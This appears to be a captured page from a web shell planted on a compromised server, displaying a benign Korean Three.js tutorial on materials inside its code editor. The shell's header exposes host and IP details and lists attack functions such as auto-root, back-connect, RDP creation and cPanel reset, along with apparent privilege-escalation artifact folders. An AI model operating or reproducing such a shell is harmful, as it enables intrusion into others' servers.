Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.145.153.226
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
ko /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
.mad-root
0
B
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align-html-elements-to-3d.html
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backgrounds.html
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fundamentals.html
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B
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Code Editor : materials.html
<!DOCTYPE html><html lang="ko"><head> <meta charset="utf-8"> <title>재질(Materials)</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – 재질(Materials)"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/ko/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>재질(Materials)</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>※ 이 글은 Three.js의 튜토리얼 시리즈로서, 먼저 <a href="fundamentals.html">Three.js의 기본 구조에 관한 글</a>을 읽고 오길 권장합니다.</p> <p>Three.js에는 기본으로 제공하는 재질(materials) 몇 개가 있습니다. 재질이란, 물체가 씬(scene)에 어떤 식으로 나타날지를 결정하는 요소로서, 어떤 재질을 사용할지는 전적으로 상황에 따라 판단해야 합니다.</p> <p>재질의 속성(property)를 정하는 방법은 크게 두 가지로 나뉩니다. 하나는 이전처럼 생성자를 호출할 때 값을 넘겨주는 것이고,</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const material = new THREE.MeshPhongMaterial({ color: 0xFF0000, // 빨강 (CSS처럼 문자열로 넘겨줄 수도 있음. "#ff0000") flatShading: true, }); </pre> <p>다른 하나는 생성한 뒤에 바꾸는 것이죠.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const material = new THREE.MeshPhongMaterial(); material.color.setHSL(0, 1, .5); // 빨강 material.flatShading = true; </pre> <p>물론 HSL 색상 모델 외에 rgb, hex 등 다양한 방법으로 색을 지정할 수 있습니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">material.color.set(0x00FFFF); // CSS의 #RRGGBB 형식 material.color.set(cssString); /* CSS 색상 문자열, 예를 들어 'purple', '#F32', * 'rgb(255, 127, 64)', * 'hsl(180, 50%, 25%)' 등 */ material.color.set(someColor) // THREE.Color에 정의된 static 색상 material.color.setHSL(h, s, l) // hsl 색상, 0부터 1까지 material.color.setRGB(r, g, b) // rgb 색상, 0부터 1까지 </pre> <p>생성시에도 hex 값 또는 CSS 문자열을 전달해도 됩니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const m1 = new THREE.MeshBasicMaterial({color: 0xFF0000}); // 빨강 const m2 = new THREE.MeshBasicMaterial({color: 'red'}); // 빨강 const m3 = new THREE.MeshBasicMaterial({color: '#F00'}); // 빨강 const m4 = new THREE.MeshBasicMaterial({color: 'rgb(255,0,0)'}); // 빨강 const m5 = new THREE.MeshBasicMaterial({color: 'hsl(0,100%,50%)'}); // 빨강 </pre> <p>이제 Three.js의 기본 재질을 살펴보겠습니다.</p> <p><a href="/docs/#api/ko/materials/MeshBasicMaterial"><code class="notranslate" translate="no">MeshBasicMaterial</code></a>은 광원의 영향을 받지 않습니다. <a href="/docs/#api/ko/materials/MeshLambertMaterial"><code class="notranslate" translate="no">MeshLambertMaterial</code></a>은 정점에서만 광원을 계산하고, <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>은 픽셀 하나하나 전부 광원을 계산합니다. 뿐만 아니라 <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>은 반사점(specular highlights, 물체가 조명을 받을 때 물체에 나타나는 밝은 점. 역주)도 지원합니다.</p> <div class="spread"> <div> <div data-diagram="MeshBasicMaterial"></div> <div class="code">Basic</div> </div> <div> <div data-diagram="MeshLambertMaterial"></div> <div class="code">Lambert</div> </div> <div> <div data-diagram="MeshPhongMaterial"></div> <div class="code">Phong</div> </div> </div> <div class="spread"> <div> <div data-diagram="MeshBasicMaterialLowPoly"></div> </div> <div> <div data-diagram="MeshLambertMaterialLowPoly"></div> </div> <div> <div data-diagram="MeshPhongMaterialLowPoly"></div> </div> </div> <div class="threejs_center code">같은 모델을 로우-폴리(low poly) 모델로 바꾼 것</div> <p><a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>의 <code class="notranslate" translate="no">shininess</code> 속성으로 반사점의 <em>밝기</em>를 조절할 수 있습니다(기본값 30).</p> <div class="spread"> <div> <div data-diagram="MeshPhongMaterialShininess0"></div> <div class="code">shininess: 0</div> </div> <div> <div data-diagram="MeshPhongMaterialShininess30"></div> <div class="code">shininess: 30</div> </div> <div> <div data-diagram="MeshPhongMaterialShininess150"></div> <div class="code">shininess: 150</div> </div> </div> <p>만약 <a href="/docs/#api/ko/materials/MeshLambertMaterial"><code class="notranslate" translate="no">MeshLambertMaterial</code></a>이나 <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>의 <code class="notranslate" translate="no">emissive</code> 속성에 색상값을 지정하고, (<a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>은 <code class="notranslate" translate="no">shininess</code>도 0으로 지정해야함) <code class="notranslate" translate="no">color</code> 속성을 검정으로 지정하면 <a href="/docs/#api/ko/materials/MeshBasicMaterial"><code class="notranslate" translate="no">MeshBasicMaterial</code></a>과 마찬가지로 입체감이 사라집니다.</p> <div class="spread"> <div> <div data-diagram="MeshBasicMaterialCompare"></div> <div class="code"> <div>Basic</div> <div>color: 'purple'</div> </div> </div> <div> <div data-diagram="MeshLambertMaterialCompare"></div> <div class="code"> <div>Lambert</div> <div>color: 'black'</div> <div>emissive: 'purple'</div> </div> </div> <div> <div data-diagram="MeshPhongMaterialCompare"></div> <div class="code"> <div>Phong</div> <div>color: 'black'</div> <div>emissive: 'purple'</div> <div>shininess: 0</div> </div> </div> </div> <p>왜 <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>로 <a href="/docs/#api/ko/materials/MeshBasicMaterial"><code class="notranslate" translate="no">MeshBasicMaterial</code></a>과 <a href="/docs/#api/ko/materials/MeshLambertMaterial"><code class="notranslate" translate="no">MeshLambertMaterial</code></a>을 구현할 수 있는데 3가지로 분리해 놓았을까요? 이미 감을 잡으셨겠지만, 재질이 정교할수록 GPU의 부담이 커지기 때문입니다. GPU 성능이 낮은 저사양 기기에서는 덜 정교한 재질을 씀으로써 GPU의 부담을 줄일 수 있죠. 또한 복잡한 표현이 필요 없다면 더 간단한 재질을, 광원 효과가 아예 필요 없다면 <a href="/docs/#api/ko/materials/MeshBasicMaterial"><code class="notranslate" translate="no">MeshBasicMaterial</code></a>을 사용하는 것이 좋습니다.</p> <p><a href="/docs/#api/ko/materials/MeshToonMaterial"><code class="notranslate" translate="no">MeshToonMaterial</code></a>은 <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>과 유사하나, 큰 차이점이 하나 있습니다. 부드럽게 쉐이딩(shading)하는 대신, <a href="/docs/#api/ko/materials/MeshToonMaterial"><code class="notranslate" translate="no">MeshToonMaterial</code></a>은 그라디언트 맵(gradient map)을 사용합니다. 기본적으로 <a href="/docs/#api/ko/materials/MeshToonMaterial"><code class="notranslate" translate="no">MeshToonMaterial</code></a>은 처음 70%까지는 밝고 다음 100%까지는 어두운 그라디언트 맵을 사용하나, 그라디언트 맵을 직접 지정해 줄 수도 있죠. <a href="/docs/#api/ko/materials/MeshToonMaterial"><code class="notranslate" translate="no">MeshToonMaterial</code></a>로 만든 물체는 투톤을 띄어 카툰 느낌을 줍니다.</p> <div class="spread"> <div data-diagram="MeshToonMaterial"></div> </div> <p>다음으로 살펴 볼 두 재질은 <em>물리 기반 렌더링을 위한</em> 재질입니다. 물리 기반 렌더링(Physically Based Rendering)은 줄여서 PBR이라고 하죠.</p> <p>위에서 살펴본 재질들은 재질을 3D처럼 보이게 하기 위해 간단한 수학을 사용하나, 이는 실제 세계와는 다릅니다. 이 두 가지 PBR 재질은 실제 세계에서처럼 물체를 구현하기 위해 훨씬 복잡한 수학을 사용하죠.</p> <p>첫 번째는 <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a>입니다.<a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>과 <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a>의 가장 큰 차이점은 사용하는 속성이 다르다는 점입니다. <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>은 <code class="notranslate" translate="no">shininess</code>를 사용하지만, <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a>은 <code class="notranslate" translate="no">roughness</code>와 <code class="notranslate" translate="no">metalness</code> 두 가지 속성을 사용합니다.</p> <p><a href="/docs/#api/ko/materials/MeshStandardMaterial#roughness"><code class="notranslate" translate="no">roughness</code></a>는 <code class="notranslate" translate="no">roughness</code>는 0부터 1까지의 숫자값으로, <code class="notranslate" translate="no">shininess</code>의 반대입니다. 높은 <code class="notranslate" translate="no">roughness</code>를 가진 물체, 예를 들어 야구공은 빛 반사가 거의 없지만, 반대로 낮은 <code class="notranslate" translate="no">roughness</code>를 가진 물체, 당구공은 매우 번들번들하죠.</p> <p><a href="/docs/#api/ko/materials/MeshStandardMaterial#metalness"><code class="notranslate" translate="no">metalness</code></a>는 얼마나 금속성입니다. 얼마나 금속 재질에 가까울 것인가로써, 0은 아예 금속 같지 않은 것이고, 1은 완전히 금속처럼 보이는 것을 의미합니다.</p> <p>아래의 예제는 <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a>의 <code class="notranslate" translate="no">roughness</code>를 왼쪽에서 오른쪽으로 커지게(0 -> 1), <code class="notranslate" translate="no">metalness</code>를 위에서 아래로 커지게(0 -> 1) 한 것입니다.</p> <div data-diagram="MeshStandardMaterial" style="min-height: 400px"></div> <p><a href="/docs/#api/ko/materials/MeshPhysicalMaterial"><code class="notranslate" translate="no">MeshPhysicalMaterial</code></a>은 <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a>과 기본적으로 같지만, 0부터 1까지의 <code class="notranslate" translate="no">clearcoat</code> 속성으로 표면에 코팅 세기를 설정하고, <code class="notranslate" translate="no">clearcoatRoughness</code> 속성으로 코팅의 거침 정도를 설정한다는 점이 다릅니다.</p> <p>아래는 위의 예제와 마찬가지로 <code class="notranslate" translate="no">roughness</code>와 <code class="notranslate" translate="no">metalness</code> 속성을 주고 <code class="notranslate" translate="no">clearcoat</code> 속성과 <code class="notranslate" translate="no">clearcoatRoughness</code> 속성을 조정할 수 있도록 한 예제입니다.</p> <div data-diagram="MeshPhysicalMaterial" style="min-height: 400px"></div> <p>여태까지 살펴본 Three.js의 기본 재질을 성능이 빠른 것부터 나열하면,</p> <p><a href="/docs/#api/ko/materials/MeshBasicMaterial"><code class="notranslate" translate="no">MeshBasicMaterial</code></a> ➡ <a href="/docs/#api/ko/materials/MeshLambertMaterial"><code class="notranslate" translate="no">MeshLambertMaterial</code></a> ➡ <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a> ➡ <a href="/docs/#api/ko/materials/MeshStandardMaterial"><code class="notranslate" translate="no">MeshStandardMaterial</code></a> ➡ <a href="/docs/#api/ko/materials/MeshPhysicalMaterial"><code class="notranslate" translate="no">MeshPhysicalMaterial</code></a></p> <p>입니다. 성능 부담이 클수록 더 현실적인 결과물을 얻을 수 있지만, 저사양 지원을 위해서는 코드 최적화에 그만큼 신경을 써야 합니다.</p> <p>또 특수한 경우에 사용하는 세 가지 재질이 있습니다. <a href="/docs/#api/ko/materials/ShadowMaterial"><code class="notranslate" translate="no">ShadowMaterial</code></a>은 그림자로부터 데이터를 가져오는 데 사용하죠. 아직 그림자에 대해서는 다루지 않았지만, 그림자에 대해서 살펴볼 때 씬 뒤에서 무슨 일이 일어나는지 자세히 살펴볼 것입니다.</p> <p><a href="/docs/#api/ko/materials/MeshDepthMaterial"><code class="notranslate" translate="no">MeshDepthMaterial</code></a>은 각 픽셀의 깊이를 렌더링합니다. 카메라의 마이너스 <a href="/docs/#api/ko/cameras/PerspectiveCamera#near"><code class="notranslate" translate="no">near</code></a>에 위치한 픽셀은 0으로, 마이너스 <a href="/docs/#api/ko/cameras/PerspectiveCamera#far"><code class="notranslate" translate="no">far</code></a>에 위치한 픽셀은 1로 렌더링하죠. 이 재질을 사용해 구현할 수 있는 것에 대해서는 다른 글에서 나중에 다뤄보겠습니다.</p> <div class="spread"> <div> <div data-diagram="MeshDepthMaterial"></div> </div> </div> <p><a href="/docs/#api/ko/materials/MeshNormalMaterial"><code class="notranslate" translate="no">MeshNormalMaterial</code></a>은 <code class="notranslate" translate="no">geometry</code>의 <em>법선(normals)</em>을 보여줍니다. <em>법선</em>이란 특정한 삼각형이나 픽셀이 가리키는 방향을 의미하죠. <a href="/docs/#api/ko/materials/MeshNormalMaterial"><code class="notranslate" translate="no">MeshNormalMaterial</code></a>은 카메라를 기반으로 법선을 렌더링합니다. <span class="color:red;">x축은 빨강</span>, <span class="color:green;">y축은 초록</span>, <span class="color:blue;">z축은 파랑</span>이죠. 다시 말해 오른쪽 면은 <span class="color:#FF7F7F;">분홍</span>, 왼쪽 면은 <span class="color:#007F7F;">청녹</span>, 위쪽 면은 <span class="color:#7FFF7F;">청녹</span>, 아래쪽 면은 <span class="color:#7F007F;">자주</span>, 정면은 <span class="color:#7F7FFF;">연보라</span>가 됩니다.</p> <div class="spread"> <div> <div data-diagram="MeshNormalMaterial"></div> </div> </div> <p><a href="/docs/#api/ko/materials/ShaderMaterial"><code class="notranslate" translate="no">ShaderMaterial</code></a>과 <a href="/docs/#api/ko/materials/RawShaderMaterial"><code class="notranslate" translate="no">RawShaderMaterial</code></a>은 재질을 커스텀할 때 사용합니다. 둘의 차이점은 <a href="/docs/#api/ko/materials/ShaderMaterial"><code class="notranslate" translate="no">ShaderMaterial</code></a>은 Three.js의 쉐이더 시스템을 이용하고, <a href="/docs/#api/ko/materials/RawShaderMaterial"><code class="notranslate" translate="no">RawShaderMaterial</code></a>은 아예 Three.js의 도움을 받지 않는다는 점이죠. 둘 다 짧게 다루기는 어려운 주제로, 나중에 상세하게 다루겠습니다.</p> <p>재질 속성(properties)의 대부분은 <a href="/docs/#api/ko/materials/Material"><code class="notranslate" translate="no">Material</code></a> 클래스에 의해 정의됩니다. 자세한 건 <a href="/docs/#api/ko/materials/Material">공식 문서</a>를 참고하되, 여기서는 자주 사용하는 두 가지 속성만 살펴보도록 하죠.</p> <p><a href="/docs/#api/ko/materials/Material#flatShading"><code class="notranslate" translate="no">flatShading</code></a>: 물체를 각지게(faceted) 표현할지의 여부입니다. 기본값은 <code class="notranslate" translate="no">false</code>.</p> <div class="spread"> <div> <div data-diagram="smoothShading"></div> <div class="code">flatShading: false</div> </div> <div> <div data-diagram="flatShading"></div> <div class="code">flatShading: true</div> </div> </div> <p><a href="/docs/#api/ko/materials/Material#side"><code class="notranslate" translate="no">side</code></a>: 어떤 면을 렌더링할지의 여부입니다. 기본값은 <code class="notranslate" translate="no">THREE.FrontSide(앞면)</code>. 다른 값으로는 <code class="notranslate" translate="no">THREE.BackSide(뒷면)</code>와 <code class="notranslate" translate="no">THREE.DoubleSide(양면)</code>를 지정할 수 있습니다. 3D로 렌더링한 물체는 대부분 불투명한 고체이기에, 뒷면(고체의 안쪽면)은 굳이 렌더링할 필요가 없습니다. <code class="notranslate" translate="no">side</code> 속성을 별도로 지정하는 경우는 면이나 비-고체 등 뒷면을 렌더링해야 할 경우 뿐이죠.</p> <p>아래는 각각 <code class="notranslate" translate="no">THREE.FrontSide</code>와 <code class="notranslate" translate="no">THREE.DoubleSide</code>를 이용해 6개의 면을 렌더링한 것입니다.</p> <div class="spread"> <div> <div data-diagram="sideDefault" style="height: 250px;"></div> <div class="code">side: THREE.FrontSide</div> </div> <div> <div data-diagram="sideDouble" style="height: 250px;"></div> <div class="code">side: THREE.DoubleSide</div> </div> </div> <p>실제 프로젝트에서 재질을 다룰 때는 고려해야 할 것이 훨씬 많습니다. 이 장에서는 아주 기본적인 것만 살펴보았을 뿐이고, 제대로 사용하기 위해서는 알아야 할 것들이 훨씬 더 많죠. 예를 들어 나중에 살펴볼 텍스처(textures, 질감)만 추가해도 경우의 수가 엄청나게 늘어납니다. 말 나온 김에 바로 텍스처를 살펴보는 것도 좋지만, 다음 장에서는 잠시 쉬어가는 의미로 <a href="setup.html">Three.js 개발 환경 구성하기</a>에 대해 알아보겠습니다.</p> <div class="threejs_bottombar"> <h3>material.needsUpdate</h3> <p> 이 속성은 사용할 일이 그다지 많진 않으니 참고로 알아두시기 바랍니다. Three.js는 재질을 사용할 때-해당 재질을 사용하는 물체를 렌더링할 때- 재질의 설정을 적용합니다. 재질을 바꿀 때는 많은 자원이 들어가기에, Three.js는 기본적으로 처음 한 번만 재질의 설정을 적용합니다. 만약 재질의 속성(properties)을 런타임에 바꿔야 할 경우, <code class="notranslate" translate="no">material.needsUpdate = true</code>를 설정해 Three.js가 변경사항을 반영하도록 해야 하죠. 대표적으로 <code class="notranslate" translate="no">needsUpdate</code>를 사용해야 하는 경우는 다음과 같습니다. </p> <ul> <li><code class="notranslate" translate="no">flatShading</code> 속성을 변경할 때</li> <li>텍스처를 추가/제거할 때 <p> 단순히 텍스처를 변경할 때는 상관없으나, 아예 텍스처를 사용하지 않다가 텍스처를 추가하는 경우, 또는 텍스처를 사용하다가 텍스처를 제거하는 경우 <code class="notranslate" translate="no">needsUpdate = true</code>를 설정해주어야 합니다. </p> <p> 하지만 텍스처를 제거하는 경우, 대게 1x1 하얀색 픽셀 텍스처로 변경하는 게 낫습니다. </p></li> </ul> <p> 위에서 언급했듯, 대부분의 앱은 이런 경우를 고려할 일이 거의 없습니다. <code class="notranslate" translate="no">flatShade</code> 속성을 변경하는 경우는 흔치 않고, 텍스처를 변경하는 경우는 있어도 물체의 속성이나 색상을 지정하지 않았다가 추가하는 경우는 흔치 않기 때문입니다. </p> </div> <p><canvas id="c"></canvas></p> <script type="module" src="../resources/threejs-materials.js"></script> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
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